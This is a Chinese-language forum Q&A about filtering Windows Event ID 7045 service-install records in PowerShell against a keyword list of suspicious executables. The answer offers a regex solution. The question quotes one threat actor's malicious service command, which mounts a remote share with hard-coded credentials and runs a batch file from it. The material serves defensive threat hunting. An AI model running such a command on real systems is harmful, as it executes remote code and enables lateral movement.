感謝您到目前為止為我提供的所有幫助,非常感謝。我一直在嘗試完成一個簡單的任務:將事件 ID 7045 的“影像路徑”與一組預定義的關鍵字進行比較。在Like沒有作業和Compare尋找一個精確匹配。
$sus = @('powershell.exe','cmd.exe','psexesvc.exe')
$7045 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | select
@{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id,
@{N=’Machine Name’;E={$_.MachineName}},
@{N=’Service Name’;
E={$_.Properties[0].Value}},
@{N=’Image Path’; E={$_.Properties[1].Value}},@{N=’RunAsUser’; E={$_.Properties[4].Value}},
@{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```
我的意思是,如果任何關鍵字匹配,我都會感興趣!
給您一個想法,威脅行為者安裝的眾多惡意服務之一看起來像,
``cmd.exe /c powershell -c "net use \\192.168.100.100 /user:workgroup\test p@ssw0rd123;cmd.exe /c \\192.168.100.100\OutPut\run.bat"
所以我有很多例子但是..如果有辦法讓Like操作員在這里作業,太棒了!
謝謝 :)
uj5u.com熱心網友回復:
您可以使用正則運算式-match而不是 like。為此,您需要從可執行檔案創建一個正則運算式字串,將名稱與正則運算式 'OR' ( |)結合起來,并用反斜杠轉義點:
# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'
$7045 = Get-WinEvent -FilterHashtable @{ LogName = 'System';Id = 7045 } |
Where-Object { $_.Properties[1].Value -match $sus } |
Select-Object Id,
@{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
@{N='Machine Name';E={$_.MachineName}},
@{N='Service Name'; E={$_.Properties[0].Value}},
@{N='Image Path'; E={$_.Properties[1].Value}},
@{N='RunAsUser'; E={$_.Properties[4].Value}},
@{N='Installed By'; E={$_.UserId}}
轉載請註明出處,本文鏈接:https://www.uj5u.com/gongcheng/393499.html
